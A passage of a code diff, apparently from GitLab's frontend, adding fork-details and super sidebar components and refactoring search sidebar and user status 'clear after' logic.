@@ -118,6 +141,7 @@ export default function setupVueRepositoryList() {
initLastCommitApp();
initBlobControlsApp();
+ initForkInfo();
initRefSwitcher();
router.afterEach(({ params: { path } }) => {
diff --git a/app/assets/javascripts/repository/queries/fork_details.query.graphql b/app/assets/javascripts/repository/queries/fork_details.query.graphql
new file mode 100644
index 00000000000..d1a37d00d55
--- /dev/null
+++ b/app/assets/javascripts/repository/queries/fork_details.query.graphql
@@ -0,0 +1,9 @@
+query getForkDetails($projectPath: ID!, $ref: String) {
+ project(fullPath: $projectPath) {
+ id
+ forkDetails(ref: $ref) {
+ ahead
+ behind
+ }
+ }
+}
diff --git a/app/assets/javascripts/repository/utils/ref_switcher_utils.js b/app/assets/javascripts/repository/utils/ref_switcher_utils.js
index 8ff52104c93..f296b5e9b4a 100644
--- a/app/assets/javascripts/repository/utils/ref_switcher_utils.js
+++ b/app/assets/javascripts/repository/utils/ref_switcher_utils.js
@@ -17,6 +17,7 @@ const NAMESPACE_TARGET_REGEX = /(\/-\/(blob|tree))\/.*?\/(.*)/;
*/
export function generateRefDestinationPath(projectRootPath, selectedRef) {
const currentPath = window.location.pathname;
+ const encodedHash = '%23';
let namespace = '/-/tree';
let target;
const match = NAMESPACE_TARGET_REGEX.exec(currentPath);
@@ -24,7 +25,12 @@ export function generateRefDestinationPath(projectRootPath, selectedRef) {
[, namespace, , target] = match;
}
- const destinationPath = joinPaths(projectRootPath, namespace, selectedRef, target);
+ const destinationPath = joinPaths(
+ projectRootPath,
+ namespace,
+ encodeURI(selectedRef).replace(/#/g, encodedHash),
+ target,
+ );
return `${destinationPath}${window.location.hash}`;
}
diff --git a/app/assets/javascripts/search/index.js b/app/assets/javascripts/search/index.js
index ba12f31ef87..d4ee857c9c1 100644
--- a/app/assets/javascripts/search/index.js
+++ b/app/assets/javascripts/search/index.js
@@ -1,6 +1,7 @@
import setHighlightClass from 'ee_else_ce/search/highlight_blob_search_result';
import { queryToObject } from '~/lib/utils/url_utility';
import refreshCounts from '~/pages/search/show/refresh_counts';
+import syntaxHighlight from '~/syntax_highlight';
import { initSidebar, sidebarInitState } from './sidebar';
import { initSearchSort } from './sort';
import createStore from './store';
@@ -8,10 +9,14 @@ import { initTopbar } from './topbar';
import { initBlobRefSwitcher } from './under_topbar';
export const initSearchApp = () => {
- const query = queryToObject(window.location.search);
- const navigation = sidebarInitState();
+ syntaxHighlight(document.querySelectorAll('.js-search-results'));
+ const query = queryToObject(window.location.search, { gatherArrays: true });
+ const { navigationJsonParsed: navigation } = sidebarInitState() || {};
- const store = createStore({ query, navigation });
+ const store = createStore({
+ query,
+ navigation,
+ });
initTopbar(store);
initSidebar(store);
diff --git a/app/assets/javascripts/search/sidebar/components/confidentiality_filter.vue b/app/assets/javascripts/search/sidebar/components/confidentiality_filter.vue
index 4ddf695f61a..fbfc24a94ae 100644
--- a/app/assets/javascripts/search/sidebar/components/confidentiality_filter.vue
+++ b/app/assets/javascripts/search/sidebar/components/confidentiality_filter.vue
@@ -21,6 +21,6 @@ export default {
<template>
<div>
<radio-filter :class="ffBasedXPadding" :filter-data="$options.confidentialFilterData" />
- <hr class="gl-my-5 gl-border-gray-100" />
+ <hr class="gl-my-5 gl-mx-5 gl-border-gray-100" />
</div>
</template>
diff --git a/app/assets/javascripts/search/sidebar/components/results_filters.vue b/app/assets/javascripts/search/sidebar/components/results_filters.vue
index 9b993ab9a86..ff7a044736d 100644
--- a/app/assets/javascripts/search/sidebar/components/results_filters.vue
+++ b/app/assets/javascripts/search/sidebar/components/results_filters.vue
@@ -44,7 +44,7 @@ export default {
<form class="gl-pt-5 gl-md-pt-0" @submit.prevent="applyQuery">
<hr
v-if="searchPageVerticalNavFeatureFlag"
- class="gl-my-5 gl-border-gray-100 gl-display-none gl-md-display-block"
+ class="gl-my-5 gl-mx-5 gl-border-gray-100 gl-display-none gl-md-display-block"
/>
<status-filter v-if="showStatusFilter" />
<confidentiality-filter v-if="showConfidentialityFilter" />
diff --git a/app/assets/javascripts/search/sidebar/components/scope_navigation.vue b/app/assets/javascripts/search/sidebar/components/scope_navigation.vue
index 7a03306e2f9..3c280a5d696 100644
--- a/app/assets/javascripts/search/sidebar/components/scope_navigation.vue
+++ b/app/assets/javascripts/search/sidebar/components/scope_navigation.vue
@@ -1,13 +1,10 @@
<script>
import { GlNav, GlNavItem, GlIcon } from '@gitlab/ui';
import { mapActions, mapState } from 'vuex';
-import { formatNumber, s__ } from '~/locale';
+import { s__ } from '~/locale';
import Tracking from '~/tracking';
-import {
- NAV_LINK_DEFAULT_CLASSES,
- NUMBER_FORMATING_OPTIONS,
- NAV_LINK_COUNT_DEFAULT_CLASSES,
-} from '../constants';
+import { NAV_LINK_DEFAULT_CLASSES, NAV_LINK_COUNT_DEFAULT_CLASSES } from '../constants';
+import { formatSearchResultCount } from '../../store/utils';
export default {
name: 'ScopeNavigation',
@@ -29,11 +26,7 @@ export default {
methods: {
...mapActions(['fetchSidebarCount']),
showFormatedCount(count) {
- if (!count) {
- return '0';
- }
- const countNumber = parseInt(count.replace(/,/g, ''), 10);
- return formatNumber(countNumber, NUMBER_FORMATING_OPTIONS);
+ return formatSearchResultCount(count);
},
isCountOverLimit(count) {
return count.includes('+');
@@ -82,6 +75,6 @@ export default {
</span>
</gl-nav-item>
</gl-nav>
- <hr class="gl-mt-5 gl-mb-0 gl-border-gray-100 gl-md-display-none" />
+ <hr class="gl-mt-5 gl-mx-5 gl-mb-0 gl-border-gray-100 gl-md-display-none" />
</nav>
</template>
diff --git a/app/assets/javascripts/search/sidebar/components/status_filter.vue b/app/assets/javascripts/search/sidebar/components/status_filter.vue
index eaf7d95822a..4da96a41ef7 100644
--- a/app/assets/javascripts/search/sidebar/components/status_filter.vue
+++ b/app/assets/javascripts/search/sidebar/components/status_filter.vue
@@ -21,6 +21,6 @@ export default {
<template>
<div>
<radio-filter :class="ffBasedXPadding" :filter-data="$options.stateFilterData" />
- <hr class="gl-my-5 gl-border-gray-100" />
+ <hr class="gl-my-5 gl-mx-5 gl-border-gray-100" />
</div>
</template>
diff --git a/app/assets/javascripts/search/sidebar/constants/index.js b/app/assets/javascripts/search/sidebar/constants/index.js
index a9c031f91a4..19b1ad0905b 100644
--- a/app/assets/javascripts/search/sidebar/constants/index.js
+++ b/app/assets/javascripts/search/sidebar/constants/index.js
@@ -1,13 +1,16 @@
export const SCOPE_ISSUES = 'issues';
export const SCOPE_MERGE_REQUESTS = 'merge_requests';
-
-export const NUMBER_FORMATING_OPTIONS = { notation: 'compact', compactDisplay: 'short' };
-export const NAV_LINK_DEFAULT_CLASSES = [
+export const SCOPE_BLOB = 'blobs';
+export const LABEL_DEFAULT_CLASSES = [
'gl-display-flex',
'gl-flex-direction-row',
'gl-flex-wrap-nowrap',
- 'gl-justify-content-space-between',
'gl-text-gray-900',
];
-
+export const NAV_LINK_DEFAULT_CLASSES = [
+ ...LABEL_DEFAULT_CLASSES,
+ 'gl-justify-content-space-between',
+];
export const NAV_LINK_COUNT_DEFAULT_CLASSES = ['gl-font-sm', 'gl-font-weight-normal'];
+export const HR_DEFAULT_CLASSES = ['gl-my-5', 'gl-mx-5', 'gl-border-gray-100'];
+export const ONLY_SHOW_MD = ['gl-display-none', 'gl-md-display-block'];
diff --git a/app/assets/javascripts/search/sidebar/index.js b/app/assets/javascripts/search/sidebar/index.js
index c6b1257c4ef..415f6f7454c 100644
--- a/app/assets/javascripts/search/sidebar/index.js
+++ b/app/assets/javascripts/search/sidebar/index.js
@@ -6,11 +6,11 @@ Vue.use(Translate);
export const sidebarInitState = () => {
const el = document.getElementById('js-search-sidebar');
-
if (!el) return {};
- const { navigation } = el.dataset;
- return JSON.parse(navigation);
+ const { navigationJson } = el.dataset;
+ const navigationJsonParsed = JSON.parse(navigationJson);
+ return { navigationJsonParsed };
};
export const initSidebar = (store) => {
diff --git a/app/assets/javascripts/search/store/constants.js b/app/assets/javascripts/search/store/constants.js
index 678bd82c7a6..e4f67f624ca 100644
--- a/app/assets/javascripts/search/store/constants.js
+++ b/app/assets/javascripts/search/store/constants.js
@@ -10,3 +10,5 @@ export const GROUPS_LOCAL_STORAGE_KEY = 'global-search-frequent-groups';
export const PROJECTS_LOCAL_STORAGE_KEY = 'global-search-frequent-projects';
export const SIDEBAR_PARAMS = [stateFilterData.filterParam, confidentialFilterData.filterParam];
+
+export const NUMBER_FORMATING_OPTIONS = { notation: 'compact', compactDisplay: 'short' };
diff --git a/app/assets/javascripts/search/store/utils.js b/app/assets/javascripts/search/store/utils.js
index f8198017bf8..acb99c60426 100644
--- a/app/assets/javascripts/search/store/utils.js
+++ b/app/assets/javascripts/search/store/utils.js
@@ -1,5 +1,12 @@
import AccessorUtilities from '~/lib/utils/accessor';
-import { MAX_FREQUENT_ITEMS, MAX_FREQUENCY, SIDEBAR_PARAMS } from './constants';
+import { formatNumber } from '~/locale';
+import { joinPaths } from '~/lib/utils/url_utility';
+import {
+ MAX_FREQUENT_ITEMS,
+ MAX_FREQUENCY,
+ SIDEBAR_PARAMS,
+ NUMBER_FORMATING_OPTIONS,
+} from './constants';
function extractKeys(object, keyList) {
return Object.fromEntries(keyList.map((key) => [key, object[key]]));
@@ -90,3 +97,18 @@ export const isSidebarDirty = (currentQuery, urlQuery) => {
return userAddedParam || userChangedExistingParam;
});
};
+
+export const formatSearchResultCount = (count) => {
+ if (!count) {
+ return '0';
+ }
+
+ const countNumber = typeof count === 'string' ? parseInt(count.replace(/,/g, ''), 10) : count;
+ return formatNumber(countNumber, NUMBER_FORMATING_OPTIONS);
+};
+
+export const getAggregationsUrl = () => {
+ const currentUrl = new URL(window.location.href);
+ currentUrl.pathname = joinPaths('/search', 'aggregations');
+ return currentUrl.toString();
+};
diff --git a/app/assets/javascripts/search/topbar/constants.js b/app/assets/javascripts/search/topbar/constants.js
index 121c15199dd..5b1c5819f2b 100644
--- a/app/assets/javascripts/search/topbar/constants.js
+++ b/app/assets/javascripts/search/topbar/constants.js
@@ -20,4 +20,4 @@ export const PROJECT_DATA = {
fullName: 'name_with_namespace',
};
-export const SYNTAX_OPTIONS_DOCUMENT = 'drawers/user/search/advanced_search.md';
+export const SYNTAX_OPTIONS_DOCUMENT = 'drawers/drawers/advanced_search_syntax.md';
diff --git a/app/assets/javascripts/self_monitor/store/actions.js b/app/assets/javascripts/self_monitor/store/actions.js
index 7198dbe8b04..d94fd77dd42 100644
--- a/app/assets/javascripts/self_monitor/store/actions.js
+++ b/app/assets/javascripts/self_monitor/store/actions.js
@@ -1,6 +1,6 @@
import axios from '~/lib/utils/axios_utils';
import { backOff } from '~/lib/utils/common_utils';
-import statusCodes, { HTTP_STATUS_ACCEPTED } from '~/lib/utils/http_status';
+import { HTTP_STATUS_ACCEPTED, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { __, s__ } from '~/locale';
import * as types from './mutation_types';
@@ -43,7 +43,7 @@ export const requestCreateProject = ({ dispatch, state, commit }) => {
export const requestCreateProjectStatus = ({ dispatch, state }, jobId) => {
backOffRequest(() => axios.get(state.createProjectStatusEndpoint, { params: { job_id: jobId } }))
.then((resp) => {
- if (resp.status === statusCodes.OK) {
+ if (resp.status === HTTP_STATUS_OK) {
dispatch('requestCreateProjectSuccess', resp.data);
}
})
@@ -95,7 +95,7 @@ export const requestDeleteProject = ({ dispatch, state, commit }) => {
export const requestDeleteProjectStatus = ({ dispatch, state }, jobId) => {
backOffRequest(() => axios.get(state.deleteProjectStatusEndpoint, { params: { job_id: jobId } }))
.then((resp) => {
- if (resp.status === statusCodes.OK) {
+ if (resp.status === HTTP_STATUS_OK) {
dispatch('requestDeleteProjectSuccess', resp.data);
}
})
diff --git a/app/assets/javascripts/set_status_modal/set_status_form.vue b/app/assets/javascripts/set_status_modal/set_status_form.vue
index dd27a12cbee..c96189c7cae 100644
--- a/app/assets/javascripts/set_status_modal/set_status_form.vue
+++ b/app/assets/javascripts/set_status_modal/set_status_form.vue
@@ -8,7 +8,6 @@ import {
GlFormInputGroup,
GlDropdown,
GlDropdownItem,
- GlSprintf,
GlFormGroup,
} from '@gitlab/ui';
import $ from 'jquery';
@@ -16,7 +15,8 @@ import SafeHtml from '~/vue_shared/directives/safe_html';
import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
import * as Emoji from '~/emoji';
import { s__ } from '~/locale';
-import { TIME_RANGES_WITH_NEVER, AVAILABILITY_STATUS } from './constants';
+import { formatDate, newDate, nSecondsAfter, isToday } from '~/lib/utils/datetime_utility';
+import { TIME_RANGES_WITH_NEVER, AVAILABILITY_STATUS, NEVER_TIME_RANGE } from './constants';
export default {
components: {
@@ -27,7 +27,6 @@ export default {
GlFormInputGroup,
GlDropdown,
GlDropdownItem,
- GlSprintf,
GlFormGroup,
EmojiPicker: () => import('~/emoji/components/picker.vue'),
},
@@ -56,7 +55,7 @@ export default {
clearStatusAfter: {
type: Object,
required: false,
- default: () => ({}),
+ default: null,
},
currentClearStatusAfter: {
type: String,
@@ -80,6 +79,21 @@ export default {
noEmoji() {
return this.emojiTag === '';
},
+ clearStatusAfterDropdownText() {
+ if (this.clearStatusAfter === null && this.currentClearStatusAfter.length) {
+ return this.formatClearStatusAfterDate(new Date(this.currentClearStatusAfter));
+ }
+
+ if (this.clearStatusAfter?.duration?.seconds) {
+ const clearStatusAfterDate = nSecondsAfter(
+ newDate(),
+ this.clearStatusAfter.duration.seconds,
+ );
+ return this.formatClearStatusAfterDate(clearStatusAfterDate);
+ }
+
+ return NEVER_TIME_RANGE.label;
+ },
},
mounted() {
this.setupEmojiListAndAutocomplete();
@@ -124,6 +138,13 @@ export default {
this.$emit('message-input', '');
this.clearEmoji();
},
+ formatClearStatusAfterDate(date) {
+ if (isToday(date)) {
+ return formatDate(date, 'h:MMtt');
+ }
+
+ return formatDate(date, 'mmm d, yyyy h:MMtt');
+ },
},
TIME_RANGES_WITH_NEVER,
AVAILABILITY_STATUS,
@@ -202,7 +223,7 @@ export default {
<gl-form-group :label="$options.i18n.clearStatusAfterDropdownLabel" class="gl-mb-0">
<gl-dropdown
block
- :text="clearStatusAfter.label"
+ :text="clearStatusAfterDropdownText"
data-testid="clear-status-at-dropdown"
toggle-class="gl-mb-0 gl-form-input-md"
>
@@ -214,14 +235,6 @@ export default {
>{{ after.label }}</gl-dropdown-item
>
</gl-dropdown>
-
- <template v-if="currentClearStatusAfter.length" #description>
- <span data-testid="clear-status-at-message">
- <gl-sprintf :message="$options.i18n.clearStatusAfterMessage">
- <template #date>{{ currentClearStatusAfter }}</template>
- </gl-sprintf>
- </span>
- </template>
</gl-form-group>
</div>
</template>
diff --git a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
index 5becc03646e..e7d028e8d23 100644
--- a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
+++ b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
@@ -6,8 +6,8 @@ import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
import { s__ } from '~/locale';
import { updateUserStatus } from '~/rest_api';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { isUserBusy } from './utils';
-import { NEVER_TIME_RANGE, AVAILABILITY_STATUS } from './constants';
+import { isUserBusy, computedClearStatusAfterValue } from './utils';
+import { AVAILABILITY_STATUS } from './constants';
import SetStatusForm from './set_status_form.vue';
Vue.use(GlToast);
@@ -53,9 +53,17 @@ export default {
message: this.currentMessage,
modalId: 'set-user-status-modal',
availability: isUserBusy(this.currentAvailability),
- clearStatusAfter: NEVER_TIME_RANGE,
+ clearStatusAfter: null,
};
},
+ computed: {
+ shouldIncludeClearStatusAfterInApiRequest() {
+ return this.clearStatusAfter !== null;
+ },
+ clearStatusAfterApiRequestValue() {
+ return computedClearStatusAfterValue(this.clearStatusAfter);
+ },
+ },
mounted() {
this.$root.$emit(BV_SHOW_MODAL, this.modalId);
},
@@ -70,14 +78,21 @@ export default {
this.setStatus();
},
setStatus() {
- const { emoji, message, availability, clearStatusAfter } = this;
+ const {
+ emoji,
+ message,
+ availability,
+ shouldIncludeClearStatusAfterInApiRequest,
+ clearStatusAfterApiRequestValue,
+ } = this;
updateUserStatus({
emoji,
message,
availability: availability ? AVAILABILITY_STATUS.BUSY : AVAILABILITY_STATUS.NOT_SET,
- clearStatusAfter:
- clearStatusAfter.label === NEVER_TIME_RANGE.label ? null : clearStatusAfter.shortcut,
+ ...(shouldIncludeClearStatusAfterInApiRequest
+ ? { clearStatusAfter: clearStatusAfterApiRequestValue }
+ : {}),
})
.then(this.onUpdateSuccess)
.catch(this.onUpdateFail);
diff --git a/app/assets/javascripts/set_status_modal/user_profile_set_status_wrapper.vue b/app/assets/javascripts/set_status_modal/user_profile_set_status_wrapper.vue
index c709611e13d..48693485116 100644
--- a/app/assets/javascripts/set_status_modal/user_profile_set_status_wrapper.vue
+++ b/app/assets/javascripts/set_status_modal/user_profile_set_status_wrapper.vue
@@ -1,9 +1,7 @@
<script>
-import { secondsToMilliseconds } from '~/lib/utils/datetime_utility';
-import dateFormat from '~/lib/dateformat';
import SetStatusForm from './set_status_form.vue';
-import { isUserBusy } from './utils';
-import { NEVER_TIME_RANGE, AVAILABILITY_STATUS } from './constants';
+import { isUserBusy, computedClearStatusAfterValue } from './utils';
+import { AVAILABILITY_STATUS } from './constants';
export default {
components: { SetStatusForm },
@@ -13,15 +11,16 @@ export default {
emoji: this.fields.emoji.value,
message: this.fields.message.value,
availability: isUserBusy(this.fields.availability.value),
- clearStatusAfter: NEVER_TIME_RANGE,
+ clearStatusAfter: null,
currentClearStatusAfter: this.fields.clearStatusAfter.value,
};
},
computed: {
- clearStatusAfterInputValue() {
- return this.clearStatusAfter.label === NEVER_TIME_RANGE.label
- ? null
- : this.clearStatusAfter.shortcut;
+ showClearStatusAfterHiddenInput() {
+ return this.clearStatusAfter !== null;
+ },
+ clearStatusAfterHiddenInputValue() {
+ return computedClearStatusAfterValue(this.clearStatusAfter);
},
availabilityInputValue() {
return this.availability
@@ -29,18 +28,6 @@ export default {
: this.$options.AVAILABILITY_STATUS.NOT_SET;
},
},
- mounted() {
- this.$options.formEl = document.querySelector('form.js-edit-user');
-
- if (!this.$options.formEl) return;
-
- this.$options.formEl.addEventListener('ajax:success', this.handleFormSuccess);
- },
- beforeDestroy() {
- if (!this.$options.formEl) return;
-
- this.$options.formEl.removeEventListener('ajax:success', this.handleFormSuccess);
- },
methods: {
handleMessageInput(value) {
this.message = value;
@@ -54,24 +41,6 @@ export default {
handleAvailabilityInput(value) {
this.availability = value;
},
- handleFormSuccess() {
- if (!this.clearStatusAfter?.duration?.seconds) {
- this.currentClearStatusAfter = '';
-
- return;
- }
-
- const now = new Date();
- const currentClearStatusAfterDate = new Date(
- now.getTime() + secondsToMilliseconds(this.clearStatusAfter.duration.seconds),
- );
-
- this.currentClearStatusAfter = dateFormat(
- currentClearStatusAfterDate,
- "UTC:yyyy-mm-dd HH:MM:ss 'UTC'",
- );
- this.clearStatusAfter = NEVER_TIME_RANGE;
- },
},
AVAILABILITY_STATUS,
formEl: null,
@@ -83,7 +52,12 @@ export default {
<input :value="emoji" type="hidden" :name="fields.emoji.name" />
<input :value="message" type="hidden" :name="fields.message.name" />
<input :value="availabilityInputValue" type="hidden" :name="fields.availability.name" />
- <input :value="clearStatusAfterInputValue" type="hidden" :name="fields.clearStatusAfter.name" />
+ <input
+ v-if="showClearStatusAfterHiddenInput"
+ :value="clearStatusAfterHiddenInputValue"
+ type="hidden"
+ :name="fields.clearStatusAfter.name"
+ />
<set-status-form
default-emoji="speech_balloon"
:emoji="emoji"
diff --git a/app/assets/javascripts/set_status_modal/utils.js b/app/assets/javascripts/set_status_modal/utils.js
index 950091195d2..11e47fdf956 100644
--- a/app/assets/javascripts/set_status_modal/utils.js
+++ b/app/assets/javascripts/set_status_modal/utils.js
@@ -1,4 +1,12 @@
-import { AVAILABILITY_STATUS } from './constants';
+import { AVAILABILITY_STATUS, NEVER_TIME_RANGE } from './constants';
export const isUserBusy = (status = '') =>
Boolean(status.length && status.toLowerCase().trim() === AVAILABILITY_STATUS.BUSY);
+
+export const computedClearStatusAfterValue = (value) => {
+ if (value === null || value.name === NEVER_TIME_RANGE.name) {
+ return null;
+ }
+
+ return value.shortcut;
+};
diff --git a/app/assets/javascripts/sidebar/components/labels/labels_select_vue/labels_select_root.vue b/app/assets/javascripts/sidebar/components/labels/labels_select_vue/labels_select_root.vue
index 2a78db352d7..04c62c99a11 100644
--- a/app/assets/javascripts/sidebar/components/labels/labels_select_vue/labels_select_root.vue
+++ b/app/assets/javascripts/sidebar/components/labels/labels_select_vue/labels_select_root.vue
@@ -1,5 +1,4 @@
<script>
-import $ from 'jquery';
import Vue from 'vue';
import Vuex, { mapState, mapActions, mapGetters } from 'vuex';
import { isInViewport } from '~/lib/utils/common_utils';
@@ -260,8 +259,8 @@ export default {
target?.parentElement?.classList.contains(className),
);
- const hasExceptionParent = ['.js-btn-back', '.js-labels-list'].some(
- (className) => $(target).parents(className).length,
+ const hasExceptionParent = ['.js-btn-back', '.js-labels-list'].some((className) =>
+ target?.closest(className),
);
const isInDropdownButtonCollapsed = this.$refs.dropdownButtonCollapsed?.$el.contains(target);
diff --git a/app/assets/javascripts/super_sidebar/components/bottom_bar.vue b/app/assets/javascripts/super_sidebar/components/bottom_bar.vue
new file mode 100644
index 00000000000..fea29458f45
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/components/bottom_bar.vue
@@ -0,0 +1,24 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: {
+ GlIcon,
+ },
+ i18n: {
+ help: __('Help'),
+ new: __('New'),
+ },
+};
+</script>
+
+<template>
+ <div class="bottom-links gl-p-3">
+ <a href="#" class="gl-text-black-normal"
+ ><gl-icon name="question-o" class="gl-mr-3 gl-text-gray-300 gl-text-black-normal!" />{{
+ $options.i18n.help
+ }}</a
+ >
+ </div>
+</template>
diff --git a/app/assets/javascripts/super_sidebar/components/context_switcher.vue b/app/assets/javascripts/super_sidebar/components/context_switcher.vue
new file mode 100644
index 00000000000..f1ddb8290a0
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/components/context_switcher.vue
@@ -0,0 +1,83 @@
+<script>
+import { GlAvatar, GlSearchBoxByType } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import { contextSwitcherItems } from '../mock_data';
+import NavItem from './nav_item.vue';
+
+export default {
+ components: {
+ GlAvatar,
+ GlSearchBoxByType,
+ NavItem,
+ },
+ i18n: {
+ contextNavigation: s__('Navigation|Context navigation'),
+ switchTo: s__('Navigation|Switch to...'),
+ recentProjects: s__('Navigation|Recent projects'),
+ recentGroups: s__('Navigation|Recent groups'),
+ },
+ contextSwitcherItems,
+ viewAllProjectsItem: {
+ title: s__('Navigation|View all projects'),
+ link: '/projects',
+ icon: 'project',
+ },
+ viewAllGroupsItem: {
+ title: s__('Navigation|View all groups'),
+ link: '/groups',
+ icon: 'group',
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-search-box-by-type />
+ <nav :aria-label="$options.i18n.contextNavigation">
+ <ul class="gl-p-0 gl-list-style-none">
+ <li>
+ <div aria-hidden="true" class="gl-font-weight-bold gl-px-3 gl-py-3">
+ {{ $options.i18n.switchTo }}
+ </div>
+ <ul :aria-label="$options.i18n.switchTo" class="gl-p-0">
+ <nav-item :item="$options.contextSwitcherItems.yourWork" />
+ </ul>
+ </li>
+ <li>
+ <div aria-hidden="true" class="gl-font-weight-bold gl-px-3 gl-py-3">
+ {{ $options.i18n.recentProjects }}
+ </div>
+ <ul :aria-label="$options.i18n.recentProjects" class="gl-p-0">
+ <nav-item
+ v-for="project in $options.contextSwitcherItems.recentProjects"
+ :key="project.title"
+ :item="project"
+ >
+ <template #icon>
+ <gl-avatar shape="rect" :size="32" :src="project.avatar" />
+ </template>
+ </nav-item>
+ <nav-item :item="$options.viewAllProjectsItem" />
+ </ul>
+ </li>
+ <li>
+ <div aria-hidden="true" class="gl-font-weight-bold gl-px-3 gl-py-3">
+ {{ $options.i18n.recentGroups }}
+ </div>
+ <ul :aria-label="$options.i18n.recentGroups" class="gl-p-0">
+ <nav-item
+ v-for="project in $options.contextSwitcherItems.recentGroups"
+ :key="project.title"
+ :item="project"
+ >
+ <template #icon>
+ <gl-avatar shape="rect" :size="32" :src="project.avatar" />
+ </template>
+ </nav-item>
+ <nav-item :item="$options.viewAllGroupsItem" />
+ </ul>
+ </li>
+ </ul>
+ </nav>
+ </div>
+</template>
diff --git a/app/assets/javascripts/super_sidebar/components/context_switcher_toggle.vue b/app/assets/javascripts/super_sidebar/components/context_switcher_toggle.vue
new file mode 100644
index 00000000000..b6f058f7aee
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/components/context_switcher_toggle.vue
@@ -0,0 +1,45 @@
+<script>
+import { GlTruncate, GlAvatar, GlCollapseToggleDirective, GlIcon } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlTruncate,
+ GlAvatar,
+ GlIcon,
+ },
+ directives: {
+ CollapseToggle: GlCollapseToggleDirective,
+ },
+ props: {
+ context: {
+ type: Object,
+ required: true,
+ },
+ expanded: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ computed: {
+ collapseIcon() {
+ return this.expanded ? 'chevron-up' : 'chevron-down';
+ },
+ },
+};
+</script>
+
+<template>
+ <button
+ v-collapse-toggle.context-switcher
+ type="button"
+ class="context-switcher-toggle gl-bg-transparent gl-border-0 border-top border-bottom gl-border-gray-a-08 gl-box-shadow-none gl-display-flex gl-align-items-center gl-font-weight-bold gl-w-full gl-pl-3 gl-pr-5 gl-h-8"
+ >
+ <gl-avatar :size="32" shape="rect" :src="context.avatar" class="gl-mr-3" />
+ <div class="gl-overflow-auto">
+ <gl-truncate :text="context.title" />
+ </div>
+ <span class="gl-flex-grow-1 gl-text-right">
+ <gl-icon :name="collapseIcon" />
+ </span>
+ </button>
+</template>
diff --git a/app/assets/javascripts/super_sidebar/components/counter.vue b/app/assets/javascripts/super_sidebar/components/counter.vue
new file mode 100644
index 00000000000..d790e61ca31
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/components/counter.vue
@@ -0,0 +1,48 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlIcon,
+ },
+ props: {
+ count: {
+ type: Number,
+ required: true,
+ },
+ href: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ icon: {
+ type: String,
+ required: true,
+ },
+ label: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ ariaLabel() {
+ return `${this.label} ${this.count}`;
+ },
+ component() {
+ return this.href ? 'a' : 'button';
+ },
+ },
+};
+</script>
+
+<template>
+ <component
+ :is="component"
+ :aria-label="ariaLabel"
+ :href="href"
+ class="counter gl-relative gl-display-inline-block gl-flex-grow-1 gl-text-center gl-py-3 gl-bg-gray-10 gl-rounded-base gl-text-black-normal gl-border gl-border-gray-a-08 gl-font-sm gl-font-weight-bold"
+ >
+ <gl-icon aria-hidden="true" :name="icon" />
+ <span aria-hidden="true">{{ count }}</span>
+ </component>
+</template>
diff --git a/app/assets/javascripts/super_sidebar/components/nav_item.vue b/app/assets/javascripts/super_sidebar/components/nav_item.vue
new file mode 100644
index 00000000000..4fd6918fd6f
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/components/nav_item.vue
@@ -0,0 +1,37 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+
+export default {
+ name: 'NavItem',
+ components: {
+ GlIcon,
+ },
+ props: {
+ item: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <li>
+ <a
+ :href="item.link"
+ class="gl-display-flex gl-pl-3 gl-py-3 gl-line-height-normal gl-text-black-normal gl-hover-bg-t-gray-a-08"
+ >
+ <div class="gl-mr-3">
+ <slot name="icon">
+ <gl-icon v-if="item.icon" :name="item.icon" />
+ </slot>
+ </div>
+ <div class="gl-pr-3">
+ {{ item.title }}
+ <div v-if="item.subtitle" class="gl-font-sm gl-text-gray-500 gl-mt-1">
+ {{ item.subtitle }}
+ </div>
+ </div>
+ </a>
+ </li>
+</template>
diff --git a/app/assets/javascripts/super_sidebar/components/super_sidebar.vue b/app/assets/javascripts/super_sidebar/components/super_sidebar.vue
new file mode 100644
index 00000000000..e2eac64f5ad
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/components/super_sidebar.vue
@@ -0,0 +1,50 @@
+<script>
+import { GlCollapse } from '@gitlab/ui';
+import { context } from '../mock_data';
+import UserBar from './user_bar.vue';
+import ContextSwitcherToggle from './context_switcher_toggle.vue';
+import ContextSwitcher from './context_switcher.vue';
+import BottomBar from './bottom_bar.vue';
+
+export default {
+ context,
+ components: {
+ GlCollapse,
+ UserBar,
+ ContextSwitcherToggle,
+ ContextSwitcher,
+ BottomBar,
+ },
+ props: {
+ sidebarData: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ contextSwitcherOpened: false,
+ };
+ },
+};
+</script>
+
+<template>
+ <aside
+ class="super-sidebar gl-fixed gl-bottom-0 gl-left-0 gl-display-flex gl-flex-direction-column gl-bg-gray-10 gl-border-r gl-border-gray-a-08 gl-z-index-9999"
+ data-testid="super-sidebar"
+ >
+ <user-bar :sidebar-data="sidebarData" />
+ <div class="gl-display-flex gl-flex-direction-column gl-flex-grow-1 gl-overflow-hidden">
+ <div class="gl-flex-grow-1 gl-overflow-auto">
+ <context-switcher-toggle :context="$options.context" :expanded="contextSwitcherOpened" />
+ <gl-collapse id="context-switcher" v-model="contextSwitcherOpened">
+ <context-switcher />
+ </gl-collapse>
+ </div>
